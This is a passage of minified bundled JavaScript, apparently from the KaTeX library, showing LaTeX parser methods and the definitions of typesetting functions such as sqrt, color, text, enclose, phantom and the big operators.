if("_"===i.text){if(r)throw new g.a("Double subscript",i);r=this.handleSupSubscript("subscript")}else{if("'"!==i.text)break;if(n)throw new g.a("Double superscript",i);var o=new v.a("textord","\\prime",this.mode),s=[o];for(this.consume();"'"===this.nextToken.text;)s.push(o),this.consume();"^"===this.nextToken.text&&s.push(this.handleSupSubscript("superscript")),n=new v.a("ordgroup",s,this.mode)}}return n||r?new v.a("supsub",{base:t,sup:n,sub:r},this.mode):t}},{key:"parseImplicitGroup",value:function(e){var t=this.parseSymbol();if(null==t)return this.parseFunction();if("arg"===t.type)return this.parseGivenFunction(t);var n=t.result;if("$"===n){if("math"===this.mode)throw new g.a("$ within math mode");var r=this.mode;this.switchMode("math"),this.consume();var i=this.parseExpression(!1,"$");return this.expect("$",!1),this.switchMode(r),this.consume(),new v.a("styling",{style:"text",value:i},"math")}if("\\begin"===n){var a=this.parseGivenFunction(t),o=a.value.name;if(!l.a.hasOwnProperty(o))throw new g.a("No such environment: "+o,a.value.nameGroup);var s=l.a[o],u=this.parseArguments("\\begin{"+o+"}",s),c=u.args,f=u.optArgs,h={mode:this.mode,envName:o,parser:this},d=s.handler(h,c,f);this.expect("\\end",!1);var p=this.nextToken,m=this.parseFunction();if(!m)throw new g.a("failed to parse function after \\end");if(m.value.name!==o)throw new g.a("Mismatch: \\begin{"+o+"} matched by \\end{"+m.value.name+"}",p);return d}return this.parseGivenFunction(t,e)}},{key:"parseFunction",value:function(){var e=this.parseGroup();return e?this.parseGivenFunction(e):null}},{key:"parseGivenFunction",value:function(e,t){if("fn"===(e=x(e)).type){var n=e.result,r=s.a[n];if("text"===this.mode&&!r.allowedInText)throw new g.a("Can't use function '"+n+"' in text mode",e.token);if("math"===this.mode&&!1===r.allowedInMath)throw new g.a("Can't use function '"+n+"' in math mode",e.token);var i=this.parseArguments(n,r),a=i.args,o=i.optArgs,l=e.token,u=this.callFunction(n,a,o,l,t);return new v.a(u.type,u,this.mode)}return e.result}},{key:"callFunction",value:function(e,t,n,r,i){var a={funcName:e,parser:this,token:r,breakOnTokenText:i},o=s.a[e];if(o&&o.handler)return o.handler(a,t,n);throw new g.a("No function handler for "+e)}},{key:"parseArguments",value:function(e,t){var n=t.numArgs+t.numOptionalArgs;if(0===n)return{args:[],optArgs:[]};for(var r=t.greediness,i=[],a=[],o=0;o<n;o++){var l=t.argTypes&&t.argTypes[o],u=o<t.numOptionalArgs;o>0&&!u&&this.consumeSpaces(),0!==o||u||"math"!==this.mode||this.consumeSpaces();var c=this.nextToken,f=l?this.parseGroupOfType(l,u):this.parseGroup(u);if(!f){if(u){a.push(null);continue}if(this.settings.throwOnError||"\\"!==this.nextToken.text[0])throw new g.a("Expected group after '"+e+"'",c);f=b(this.handleUnsupportedCmd(),c)}var h=void 0;if("fn"===(f=x(f)).type){if(!(s.a[f.result].greediness>r))throw new g.a("Got function '"+f.result+"' as argument to '"+e+"'",c);h=this.parseGivenFunction(f)}else h=f.result;(u?a:i).push(h)}return{args:i,optArgs:a}}},{key:"parseGroupOfType",value:function(e,t){return"original"===e&&(e=this.mode),"color"===e?this.parseColorGroup(t):"size"===e?this.parseSizeGroup(t):"url"===e?this.parseUrlGroup(t):this.parseGroup(t,e)}},{key:"consumeSpaces",value:function(){for(;" "===this.nextToken.text;)this.consume()}},{key:"parseStringGroup",value:function(e,t){if(t&&"["!==this.nextToken.text)return null;var n=this.mode;this.mode="text",this.expect(t?"[":"{");for(var r="",i=this.nextToken,a=i;this.nextToken.text!==(t?"]":"}");){if("EOF"===this.nextToken.text)throw new g.a("Unexpected end of input in "+e,i.range(this.nextToken,r));r+=(a=this.nextToken).text,this.consume()}return this.mode=n,this.expect(t?"]":"}"),i.range(a,r)}},{key:"parseStringGroupWithBalancedBraces",value:function(e,t){if(t&&"["!==this.nextToken.text)return null;var n=this.mode;this.mode="text",this.expect(t?"[":"{");for(var r="",i=0,a=this.nextToken,o=a;i>0||this.nextToken.text!==(t?"]":"}");){if("EOF"===this.nextToken.text)throw new g.a("Unexpected end of input in "+e,a.range(this.nextToken,r));if(r+=(o=this.nextToken).text,"{"===o.text)i+=1;else if("}"===o.text){if(i<=0)throw new g.a("Unbalanced brace of input in "+e,a.range(this.nextToken,r));i-=1}this.consume()}return this.mode=n,this.expect(t?"]":"}"),a.range(o,r)}},{key:"parseRegexGroup",value:function(e,t){var n=this.mode;this.mode="text";for(var r=this.nextToken,i=r,a="";"EOF"!==this.nextToken.text&&e.test(a+this.nextToken.text);)a+=(i=this.nextToken).text,this.consume();if(""===a)throw new g.a("Invalid "+t+": '"+r.text+"'",r);return this.mode=n,r.range(i,a)}},{key:"parseColorGroup",value:function(e){var t=this.parseStringGroup("color",e);if(!t)return null;var n=/^(#[a-f0-9]{3}|#[a-f0-9]{6}|[a-z]+)$/i.exec(t.text);if(!n)throw new g.a("Invalid color: '"+t.text+"'",t);return b(new v.a("color",n[0],this.mode),t)}},{key:"parseUrlGroup",value:function(e){var t=this.parseStringGroupWithBalancedBraces("url",e);if(!t)return null;var n=t.text.replace(/\\([#$%&~_^{}])/g,"$1");return b(new v.a("url",n,this.mode),t)}},{key:"parseSizeGroup",value:function(e){var t=void 0;if(!(t=e||"{"===this.nextToken.text?this.parseStringGroup("size",e):this.parseRegexGroup(/^[-+]? *(?:$|\d+|\d+\.\d*|\.\d*) *[a-z]{0,2} *$/,"size")))return null;var n=/([-+]?) *(\d+(?:\.\d*)?|\.\d+) *([a-z]{2})/.exec(t.text);if(!n)throw new g.a("Invalid size: '"+t.text+"'",t);var r={number:+(n[1]+n[2]),unit:n[3]};if(!Object(f.b)(r))throw new g.a("Invalid unit: '"+r.unit+"'",t);return b(new v.a("size",r,this.mode),t)}},{key:"parseGroup",value:function(e,t){var n=this.mode,r=this.nextToken;if(this.nextToken.text===(e?"[":"{")){t&&this.switchMode(t),this.consume();var i=this.parseExpression(!1,e?"]":"}"),a=this.nextToken;return t&&this.switchMode(n),this.expect(e?"]":"}"),"text"===t&&this.formLigatures(i),b(new v.a("ordgroup",i,this.mode,r,a),r.range(a,r.text))}t&&this.switchMode(t);var o=e?null:this.parseSymbol();return t&&this.switchMode(n),o}},{key:"formLigatures",value:function(e){for(var t=e.length-1,n=0;n<t;++n){var r=e[n],i=r.value;"-"===i&&"-"===e[n+1].value&&(n+1<t&&"-"===e[n+2].value?(e.splice(n,3,new v.a("textord","---","text",r,e[n+2])),t-=2):(e.splice(n,2,new v.a("textord","--","text",r,e[n+1])),t-=1)),"'"!==i&&"`"!==i||e[n+1].value!==i||(e.splice(n,2,new v.a("textord",i+i,"text",r,e[n+1])),t-=1)}}},{key:"parseSymbol",value:function(){var e,t=this.nextToken,n=t.text;if(s.a[n])return this.consume(),{type:"fn",result:(e=t).text,token:e};if(/^\\verb[^a-zA-Z]/.test(n)){this.consume();var r=n.slice(5),i="*"===r.charAt(0);if(i&&(r=r.slice(1)),r.length<2||r.charAt(0)!==r.slice(-1))throw new g.a("\\verb assertion failed --\n please report what input caused this bug");return r=r.slice(1,-1),b(new v.a("verb",{body:r,star:i},"text"),t)}if("$"===n)return function(e){return{type:"$",result:"$",token:e}}(t);m.a.hasOwnProperty(n[0])&&!c.a[this.mode][n[0]]&&(n=m.a[n[0]]+n.substr(1));var a=y.a.exec(n);a&&("i"===(n=n.substring(0,a.index))?n="\u0131":"j"===n&&(n="\u0237"));var o=null;if(c.a[this.mode][n])o=new v.a(c.a[this.mode][n].group,n,this.mode,t);else{if("text"!==this.mode||!Object(h.b)(n.charCodeAt(0)))return null;o=new v.a("textord",n,this.mode,t)}if(this.consume(),a)for(var l=0;l<a[0].length;l++){var u=a[0][l];if(!p.a[u])throw new g.a("Unknown accent ' "+u+"'",t);var f=p.a[u][this.mode];if(!f)throw new g.a("Accent "+u+" unsupported in "+this.mode+" mode",t);o=new v.a("accent",{type:"accent",label:f,isStretchy:!1,isShifty:!0,base:o},this.mode,t)}return b(o,t)}}]),e}();w.endOfExpression=["}","\\end","\\right","&","\\\\","\\cr"],w.SUPSUB_GREEDINESS=1,t.a=w},function(e,t,n){"use strict";var r=n(6),i=n(14),a=n(3),o=(n(116),n(117),n(118),n(119),n(120),n(121),n(122),n(123),n(124),n(125),n(126),n(127),n(128),n(129),n(130),n(131),n(60),n(132),n(133),n(137),n(138),n(139),n(140),n(141),a.a);t.a=o;var s=function(e,t,n){Object(a.b)({names:e,props:t,handler:n})};s(["\\mathord","\\mathbin","\\mathrel","\\mathopen","\\mathclose","\\mathpunct","\\mathinner"],{numArgs:1},(function(e,t){var n=t[0];return{type:"mclass",mclass:"m"+e.funcName.substr(5),value:Object(a.c)(n)}})),s(["\\stackrel"],{numArgs:2},(function(e,t){var n=t[0],r=t[1],o=new i.a("op",{type:"op",limits:!0,alwaysHandleSupSub:!0,symbol:!1,value:Object(a.c)(r)},r.mode);return{type:"mclass",mclass:"mrel",value:[new i.a("supsub",{base:o,sup:n,sub:null},n.mode)]}}));var l={"\u222b":"\\int","\u222c":"\\iint","\u222d":"\\iiint","\u222e":"\\oint"};s(["\\arcsin","\\arccos","\\arctan","\\arctg","\\arcctg","\\arg","\\ch","\\cos","\\cosec","\\cosh","\\cot","\\cotg","\\coth","\\csc","\\ctg","\\cth","\\deg","\\dim","\\exp","\\hom","\\ker","\\lg","\\ln","\\log","\\sec","\\sin","\\sinh","\\sh","\\tan","\\tanh","\\tg","\\th"],{numArgs:0},(function(e){return{type:"op",limits:!1,symbol:!1,body:e.funcName}})),s(["\\det","\\gcd","\\inf","\\lim","\\max","\\min","\\Pr","\\sup"],{numArgs:0},(function(e){return{type:"op",limits:!0,symbol:!1,body:e.funcName}})),s(["\\int","\\iint","\\iiint","\\oint","\u222b","\u222c","\u222d","\u222e"],{numArgs:0},(function(e){var t=e.funcName;return 1===t.length&&(t=l[t]),{type:"op",limits:!1,symbol:!0,body:t}})),s(["\\overbrace","\\underbrace"],{numArgs:1},(function(e,t){var n=t[0];return{type:"horizBrace",label:e.funcName,isOver:/^\\over/.test(e.funcName),base:n}})),s(["\\xleftarrow","\\xrightarrow","\\xLeftarrow","\\xRightarrow","\\xleftrightarrow","\\xLeftrightarrow","\\xhookleftarrow","\\xhookrightarrow","\\xmapsto","\\xrightharpoondown","\\xrightharpoonup","\\xleftharpoondown","\\xleftharpoonup","\\xrightleftharpoons","\\xleftrightharpoons","\\xlongequal","\\xtwoheadrightarrow","\\xtwoheadleftarrow","\\xtofrom","\\xrightleftarrows","\\xrightequilibrium","\\xleftequilibrium"],{numArgs:1,numOptionalArgs:1},(function(e,t,n){var r=n[0],i=t[0];return{type:"xArrow",label:e.funcName,body:i,below:r}})),s(["\\over","\\choose","\\atop"],{numArgs:0,infix:!0},(function(e){var t=void 0;switch(e.funcName){case"\\over":t="\\frac";break;case"\\choose":t="\\binom";break;case"\\atop":t="\\\\atopfrac";break;default:throw new Error("Unrecognized infix genfrac command")}return{type:"infix",replaceWith:t,token:e.token}})),s(["\\\\","\\cr"],{numArgs:0,numOptionalArgs:1,argTypes:["size"]},(function(e,t,n){return{type:"cr",size:n[0]}})),s(["\\begin","\\end"],{numArgs:1,argTypes:["text"]},(function(e,t){var n=t[0];if("ordgroup"!==n.type)throw new r.a("Invalid environment name",n);for(var i="",a=0;a<n.value.length;++a)i+=n.value[a].value;return{type:"environment",name:i,nameGroup:n}})),s(["\\raisebox"],{numArgs:2,argTypes:["size","text"],allowedInText:!0},(function(e,t){var n=t[0],r=t[1];return{type:"raisebox",dy:n,body:r,value:Object(a.c)(r)}}))},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(12),o=n(1),s=n(44),l=n(9),u=n(4),c=n(2);Object(r.b)({type:"sqrt",names:["\\sqrt"],props:{numArgs:1,numOptionalArgs:1},handler:function(e,t,n){var r=n[0];return{type:"sqrt",body:t[0],index:r}},htmlBuilder:function(e,t){var n=u.b(e.value.body,t.havingCrampedStyle());0===n.height&&(n.height=t.fontMetrics().xHeight),n instanceof a.a.documentFragment&&(n=i.a.makeSpan([],[n],t));var r=t.fontMetrics().defaultRuleThickness,o=r;t.style.id<l.a.TEXT.id&&(o=t.fontMetrics().xHeight);var c=r+o/4,f=(n.height+n.depth+c+r)*t.sizeMultiplier,h=s.a.sqrtImage(f,t),d=h.span,p=h.ruleWidth,m=d.height-p;m>n.height+n.depth+c&&(c=(c+m-n.height-n.depth)/2);var v=d.height-n.height-c-p;n.style.paddingLeft=d.advanceWidth+"em";var g=i.a.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:n,wrapperClasses:["svg-align"]},{type:"kern",size:-(n.height+v)},{type:"elem",elem:d},{type:"kern",size:p}]},t);if(e.value.index){var y=t.havingStyle(l.a.SCRIPTSCRIPT),b=u.b(e.value.index,y,t),x=.6*(g.height-g.depth),w=i.a.makeVList({positionType:"shift",positionData:-x,children:[{type:"elem",elem:b}]},t),k=i.a.makeSpan(["root"],[w]);return i.a.makeSpan(["mord","sqrt"],[k,g],t)}return i.a.makeSpan(["mord","sqrt"],[g],t)},mathmlBuilder:function(e,t){return e.value.index?new o.a.MathNode("mroot",[c.b(e.value.body,t),c.b(e.value.index,t)]):new o.a.MathNode("msqrt",[c.b(e.value.body,t)])}})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(6),s=n(4),l=n(2),u=function(e,t){var n=s.a(e.value.value,t.withColor(e.value.color),!1);return new i.a.makeFragment(n)},c=function(e,t){var n=l.a(e.value.value,t),r=new a.a.MathNode("mstyle",n);return r.setAttribute("mathcolor",e.value.color),r};Object(r.b)({type:"color",names:["\\textcolor"],props:{numArgs:2,allowedInText:!0,greediness:3,argTypes:["color","original"]},handler:function(e,t){var n=t[0],i=t[1];return{type:"color",color:n.value,value:Object(r.c)(i)}},htmlBuilder:u,mathmlBuilder:c}),Object(r.b)({type:"color",names:["\\blue","\\orange","\\pink","\\red","\\green","\\gray","\\purple","\\blueA","\\blueB","\\blueC","\\blueD","\\blueE","\\tealA","\\tealB","\\tealC","\\tealD","\\tealE","\\greenA","\\greenB","\\greenC","\\greenD","\\greenE","\\goldA","\\goldB","\\goldC","\\goldD","\\goldE","\\redA","\\redB","\\redC","\\redD","\\redE","\\maroonA","\\maroonB","\\maroonC","\\maroonD","\\maroonE","\\purpleA","\\purpleB","\\purpleC","\\purpleD","\\purpleE","\\mintA","\\mintB","\\mintC","\\grayA","\\grayB","\\grayC","\\grayD","\\grayE","\\grayF","\\grayG","\\grayH","\\grayI","\\kaBlue","\\kaGreen"],props:{numArgs:1,allowedInText:!0,greediness:3},handler:function(e,t){var n=t[0];return{type:"color",color:"katex-"+e.funcName.slice(1),value:Object(r.c)(n)}},htmlBuilder:u,mathmlBuilder:c}),Object(r.b)({type:"color",names:["\\color"],props:{numArgs:1,allowedInText:!0,greediness:3,argTypes:["color"]},handler:function(e,t){var n=e.parser,r=e.breakOnTokenText,i=t[0];if(!i)throw new o.a("\\color not followed by color");var a=n.parseExpression(!0,r);return{type:"color",color:i.value,value:a}},htmlBuilder:u,mathmlBuilder:c})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(4),s=n(2),l={"\\text":void 0,"\\textrm":"textrm","\\textsf":"textsf","\\texttt":"texttt","\\textnormal":"textrm"},u={"\\textbf":"textbf"},c={"\\textit":"textit"};Object(r.b)({type:"text",names:["\\text","\\textrm","\\textsf","\\texttt","\\textnormal","\\textbf","\\textit"],props:{numArgs:1,argTypes:["text"],greediness:2,allowedInText:!0},handler:function(e,t){var n=t[0];return{type:"text",body:Object(r.c)(n),font:e.funcName}},htmlBuilder:function(e,t){var n=e.value.font,r=void 0;r=l[n]?t.withFontFamily(l[n]):u[n]?t.withFontWeight(u[n]):t.withFontShape(c[n]);var a=o.a(e.value.body,r,!0);return i.a.tryCombineChars(a),i.a.makeSpan(["mord","text"],a,r)},mathmlBuilder:function(e,t){for(var n=e.value.body,r=[],i=null,o=0;o<n.length;o++){var l=s.b(n[o],t);"mtext"===l.type&&null!=i?Array.prototype.push.apply(i.children,l.children):(r.push(l),"mtext"===l.type&&(i=l))}return 1===r.length?r[0]:new a.a.MathNode("mrow",r)}})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(5),s=n(13),l=n(4),u=n(2),c=function(e,t){var n=l.b(e.value.body,t),r=e.value.label.substr(1),a=t.sizeMultiplier,u=void 0,c=0,f=/color/.test(r);if("sout"===r)(u=i.a.makeSpan(["stretchy","sout"])).height=t.fontMetrics().defaultRuleThickness/a,c=-.5*t.fontMetrics().xHeight;else{n.classes.push(/cancel/.test(r)?"cancel-pad":"boxpad");var h=0;h=/box/.test(r)?"colorbox"===r?.3:.34:o.a.isCharacterBox(e.value.body)?.2:0,u=s.a.encloseSpan(n,r,h,t),c=n.depth+h,f&&(u.style.backgroundColor=e.value.backgroundColor.value,"fcolorbox"===r&&(u.style.borderColor=e.value.borderColor.value))}var d=void 0;return d=f?i.a.makeVList({positionType:"individualShift",children:[{type:"elem",elem:u,shift:c},{type:"elem",elem:n,shift:0}]},t):i.a.makeVList({positionType:"individualShift",children:[{type:"elem",elem:n,shift:0},{type:"elem",elem:u,shift:c,wrapperClasses:/cancel/.test(r)?["svg-align"]:[]}]},t),/cancel/.test(r)?i.a.makeSpan(["mord","cancel-lap"],[d],t):i.a.makeSpan(["mord"],[d],t)},f=function(e,t){var n=new a.a.MathNode("menclose",[u.b(e.value.body,t)]);switch(e.value.label){case"\\cancel":n.setAttribute("notation","updiagonalstrike");break;case"\\bcancel":n.setAttribute("notation","downdiagonalstrike");break;case"\\sout":n.setAttribute("notation","horizontalstrike");break;case"\\fbox":n.setAttribute("notation","box");break;case"\\colorbox":n.setAttribute("mathbackground",e.value.backgroundColor.value);break;case"\\fcolorbox":n.setAttribute("mathbackground",e.value.backgroundColor.value),n.setAttribute("notation","box");break;default:n.setAttribute("notation","updiagonalstrike downdiagonalstrike")}return n};Object(r.b)({type:"enclose",names:["\\colorbox"],props:{numArgs:2,allowedInText:!0,greediness:3,argTypes:["color","text"]},handler:function(e,t,n){var r=t[0],i=t[1];return{type:"enclose",label:e.funcName,backgroundColor:r,body:i}},htmlBuilder:c,mathmlBuilder:f}),Object(r.b)({type:"enclose",names:["\\fcolorbox"],props:{numArgs:3,allowedInText:!0,greediness:3,argTypes:["color","color","text"]},handler:function(e,t,n){var r=t[0],i=t[1],a=t[2];return{type:"enclose",label:e.funcName,backgroundColor:i,borderColor:r,body:a}},htmlBuilder:c,mathmlBuilder:f}),Object(r.b)({type:"enclose",names:["\\cancel","\\bcancel","\\xcancel","\\sout","\\fbox"],props:{numArgs:1},handler:function(e,t,n){var r=t[0];return{type:"enclose",label:e.funcName,body:r}},htmlBuilder:c,mathmlBuilder:f})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(4),s=n(2);Object(r.b)({type:"overline",names:["\\overline"],props:{numArgs:1},handler:function(e,t){return{type:"overline",body:t[0]}},htmlBuilder:function(e,t){var n=o.b(e.value.body,t.havingCrampedStyle()),r=i.a.makeLineSpan("overline-line",t),a=i.a.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:n},{type:"kern",size:r.height},{type:"elem",elem:r}]},t);return i.a.makeSpan(["mord","overline"],[a],t)},mathmlBuilder:function(e,t){var n=new a.a.MathNode("mo",[new a.a.TextNode("\u203e")]);n.setAttribute("stretchy","true");var r=new a.a.MathNode("mover",[s.b(e.value.body,t),n]);return r.setAttribute("accent","true"),r}})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(4),s=n(2);Object(r.b)({type:"underline",names:["\\underline"],props:{numArgs:1,allowedInText:!0},handler:function(e,t){return{type:"underline",body:t[0]}},htmlBuilder:function(e,t){var n=o.b(e.value.body,t),r=i.a.makeLineSpan("underline-line",t),a=i.a.makeVList({positionType:"top",positionData:n.height,children:[{type:"elem",elem:r},{type:"kern",size:5*r.height},{type:"elem",elem:n}]},t);return i.a.makeSpan(["mord","underline"],[a],t)},mathmlBuilder:function(e,t){var n=new a.a.MathNode("mo",[new a.a.TextNode("\u203e")]);n.setAttribute("stretchy","true");var r=new a.a.MathNode("munder",[s.b(e.value.body,t),n]);return r.setAttribute("accentunder","true"),r}})},function(e,t,n){"use strict";var r=n(0),i=n(3),a=n(1),o=n(19);Object(i.b)({type:"rule",names:["\\rule"],props:{numArgs:2,numOptionalArgs:1,argTypes:["size","size","size"]},handler:function(e,t,n){var r=n[0],i=t[0],a=t[1];return{type:"rule",shift:r&&r.value,width:i.value,height:a.value}},htmlBuilder:function(e,t){var n=r.a.makeSpan(["mord","rule"],[],t),i=0;e.value.shift&&(i=Object(o.a)(e.value.shift,t));var a=Object(o.a)(e.value.width,t),s=Object(o.a)(e.value.height,t);return n.style.borderRightWidth=a+"em",n.style.borderTopWidth=s+"em",n.style.bottom=i+"em",n.width=a,n.height=s+i,n.depth=-i,n.maxFontSize=1.125*s*t.sizeMultiplier,n},mathmlBuilder:function(e,t){return new a.a.MathNode("mrow")}})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(19),s=n(6);Object(r.b)({type:"kern",names:["\\kern","\\mkern","\\hskip","\\mskip"],props:{numArgs:1,argTypes:["size"],allowedInText:!0},handler:function(e,t){var n="m"===e.funcName[1],r="mu"===t[0].value.unit;if(n){if(r||"undefined"!==typeof console&&console.warn("In LaTeX, "+e.funcName+" supports only mu units, not "+t[0].value.unit+" units"),"math"!==e.parser.mode)throw new s.a("Can't use function '"+e.funcName+"' in text mode")}else r&&"undefined"!==typeof console&&console.warn("In LaTeX, "+e.funcName+" does not support mu units");return{type:"kern",dimension:t[0].value}},htmlBuilder:function(e,t){return i.a.makeGlue(e.value.dimension,t)},mathmlBuilder:function(e,t){var n=new a.a.MathNode("mspace"),r=Object(o.a)(e.value.dimension,t);return n.setAttribute("width",r+"em"),n}})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(4),s=n(2);Object(r.b)({type:"phantom",names:["\\phantom"],props:{numArgs:1},handler:function(e,t){var n=t[0];return{type:"phantom",value:Object(r.c)(n)}},htmlBuilder:function(e,t){var n=o.a(e.value.value,t.withPhantom(),!1);return new i.a.makeFragment(n)},mathmlBuilder:function(e,t){var n=s.a(e.value.value,t);return new a.a.MathNode("mphantom",n)}}),Object(r.b)({type:"hphantom",names:["\\hphantom"],props:{numArgs:1},handler:function(e,t){var n=t[0];return{type:"hphantom",value:Object(r.c)(n),body:n}},htmlBuilder:function(e,t){var n=i.a.makeSpan([],[o.b(e.value.body,t.withPhantom())]);if(n.height=0,n.depth=0,n.children)for(var r=0;r<n.children.length;r++)n.children[r].height=0,n.children[r].depth=0;return n=i.a.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:n}]},t)},mathmlBuilder:function(e,t){var n=s.a(e.value.value,t),r=new a.a.MathNode("mphantom",n);return r.setAttribute("height","0px"),r}}),Object(r.b)({type:"vphantom",names:["\\vphantom"],props:{numArgs:1},handler:function(e,t){var n=t[0];return{type:"vphantom",value:Object(r.c)(n),body:n}},htmlBuilder:function(e,t){var n=i.a.makeSpan(["inner"],[o.b(e.value.body,t.withPhantom())]),r=i.a.makeSpan(["fix"],[]);return i.a.makeSpan(["mord","rlap"],[n,r],t)},mathmlBuilder:function(e,t){var n=s.a(e.value.value,t),r=new a.a.MathNode("mphantom",n);return r.setAttribute("width","0px"),r}})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(9),s=n(4),l=n(2),u=function(e,t){var n=[];if("bmod"===e.value.modType?t.style.isTight()?n.push(i.a.makeSpan(["mspace","thickspace"],[],t)):n.push(i.a.makeSpan(["mspace","muspace"],[],t)):t.style.size===o.a.DISPLAY.size?n.push(i.a.makeSpan(["mspace","quad"],[],t)):"mod"===e.value.modType?n.push(i.a.makeSpan(["mspace","twelvemuspace"],[],t)):n.push(i.a.makeSpan(["mspace","eightmuspace"],[],t)),"pod"!==e.value.modType&&"pmod"!==e.value.modType||n.push(i.a.mathsym("(",e.mode)),"pod"!==e.value.modType){var r=[i.a.mathsym("m",e.mode),i.a.mathsym("o",e.mode),i.a.mathsym("d",e.mode)];"bmod"===e.value.modType?(n.push(i.a.makeSpan(["mbin"],r,t)),t.style.isTight()?n.push(i.a.makeSpan(["mspace","thickspace"],[],t)):n.push(i.a.makeSpan(["mspace","muspace"],[],t))):(Array.prototype.push.apply(n,r),n.push(i.a.makeSpan(["mspace","sixmuspace"],[],t)))}return e.value.value&&Array.prototype.push.apply(n,s.a(e.value.value,t,!1)),"pod"!==e.value.modType&&"pmod"!==e.value.modType||n.push(i.a.mathsym(")",e.mode)),i.a.makeFragment(n)},c=function(e,t){var n=[];if("pod"!==e.value.modType&&"pmod"!==e.value.modType||n.push(new a.a.MathNode("mo",[l.e("(",e.mode)])),"pod"!==e.value.modType&&n.push(new a.a.MathNode("mo",[l.e("mod",e.mode)])),e.value.value){var r=new a.a.MathNode("mspace");r.setAttribute("width","0.333333em"),n.push(r),n=n.concat(l.a(e.value.value,t))}return"pod"!==e.value.modType&&"pmod"!==e.value.modType||n.push(new a.a.MathNode("mo",[l.e(")",e.mode)])),new a.a.MathNode("mo",n)};Object(r.b)({type:"mod",names:["\\bmod"],props:{numArgs:0},handler:function(e,t){return{type:"mod",modType:"bmod",value:null}},htmlBuilder:u,mathmlBuilder:c}),Object(r.b)({type:"mod",names:["\\pod","\\pmod","\\mod"],props:{numArgs:1},handler:function(e,t){var n=t[0];return{type:"mod",modType:e.funcName.substr(1),value:Object(r.c)(n)}},htmlBuilder:u,mathmlBuilder:c})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(12),o=n(1),s=n(5),l=n(9),u=n(4),c=n(2),f=function(e,t){var n=void 0,r=void 0,o=!1;"supsub"===e.type&&(n=e.value.sup,r=e.value.sub,e=e.value.base,o=!0);var c=t.style,f=!1;c.size===l.a.DISPLAY.size&&e.value.symbol&&!s.a.contains(["\\smallint"],e.value.body)&&(f=!0);var h=void 0;if(e.value.symbol){var d=f?"Size2-Regular":"Size1-Regular";h=i.a.makeSymbol(e.value.body,d,"math",t,["mop","op-symbol",f?"large-op":"small-op"])}else if(e.value.value){var p=u.a(e.value.value,t,!0);1===p.length&&p[0]instanceof a.a.symbolNode?(h=p[0]).classes[0]="mop":h=i.a.makeSpan(["mop"],p,t)}else{for(var m=[],v=1;v<e.value.body.length;v++)m.push(i.a.mathsym(e.value.body[v],e.mode));h=i.a.makeSpan(["mop"],m,t)}var g=0,y=0;if(h instanceof a.a.symbolNode&&(g=(h.height-h.depth)/2-t.fontMetrics().axisHeight,y=h.italic),o){h=i.a.makeSpan([],[h]);var b=void 0,x=void 0;if(n){var w=u.b(n,t.havingStyle(c.sup()),t);x={elem:w,kern:Math.max(t.fontMetrics().bigOpSpacing1,t.fontMetrics().bigOpSpacing3-w.depth)}}if(r){var k=u.b(r,t.havingStyle(c.sub()),t);b={elem:k,kern:Math.max(t.fontMetrics().bigOpSpacing2,t.fontMetrics().bigOpSpacing4-k.height)}}var _=void 0;if(x&&b){var M=t.fontMetrics().bigOpSpacing5+b.elem.height+b.elem.depth+b.kern+h.depth+g;_=i.a.makeVList({positionType:"bottom",positionData:M,children:[{type:"kern",size:t.fontMetrics().bigOpSpacing5},{type:"elem",elem:b.elem,marginLeft:-y+"em"},{type:"kern",size:b.kern},{type:"elem",elem:h},{type:"kern",size:x.kern},{type:"elem",elem:x.elem,marginLeft:y+"em"},{type:"kern",size:t.fontMetrics().bigOpSpacing5}]},t)}else if(b){var S=h.height-g;_=i.a.makeVList({positionType:"top",positionData:S,children:[{type:"kern",size:t.fontMetrics().bigOpSpacing5},{type:"elem",elem:b.elem,marginLeft:-y+"em"},{type:"kern",size:b.kern},{type:"elem",elem:h}]},t)}else{if(!x)return h;var T=h.depth+g;_=i.a.makeVList({positionType:"bottom",positionData:T,children:[{type:"elem",elem:h},{type:"kern",size:x.kern},{type:"elem",elem:x.elem,marginLeft:y+"em"},{type:"kern",size:t.fontMetrics().bigOpSpacing5}]},t)}return i.a.makeSpan(["mop","op-limits"],[_],t)}return g&&(h.style.position="relative",h.style.top=g+"em"),h},h=function(e,t){var n=void 0;if(e.value.symbol)n=new o.a.MathNode("mo",[c.e(e.value.body,e.mode)]);else{if(!e.value.value){n=new o.a.MathNode("mi",[new o.a.TextNode(e.value.body.slice(1))]);var r=new o.a.MathNode("mo",[c.e("\u2061","text")]);return new a.a.documentFragment([n,r])}n=new o.a.MathNode("mo",c.a(e.value.value,t))}return n},d={"\u220f":"\\prod","\u2210":"\\coprod","\u2211":"\\sum","\u22c0":"\\bigwedge","\u22c1":"\\bigvee","\u22c2":"\\bigcap","\u22c3":"\\bigcap","\u2a00":"\\bigodot","\u2a01":"\\bigoplus","\u2a02":"\\bigotimes","\u2a04":"\\biguplus","\u2a06":"\\bigsqcup"};Object(r.b)({type:"op",names:["\\coprod","\\bigvee","\\bigwedge","\\biguplus","\\bigcap","\\bigcup","\\intop","\\prod","\\sum","\\bigotimes","\\bigoplus","\\bigodot","\\bigsqcup","\\smallint","\u220f","\u2210","\u2211","\u22c0","\u22c1","\u22c2","\u22c3","\u2a00","\u2a01","\u2a02","\u2a04","\u2a06"],props:{numArgs:0},handler:function(e,t){var n=e.funcName;return 1===n.length&&(n=d[n]),{type:"op",limits:!0,symbol:!0,body:n}},htmlBuilder:f,mathmlBuilder:h}),Object(r.b)({type:"op",names:["\\mathop"],props:{numArgs:1},handler:function(e,t){var n=t[0];return{type:"op",limits:!1,symbol:!1,value:Object(r.c)(n)}},htmlBuilder:f,mathmlBuilder:h})},function(e,t,n){"use strict";var 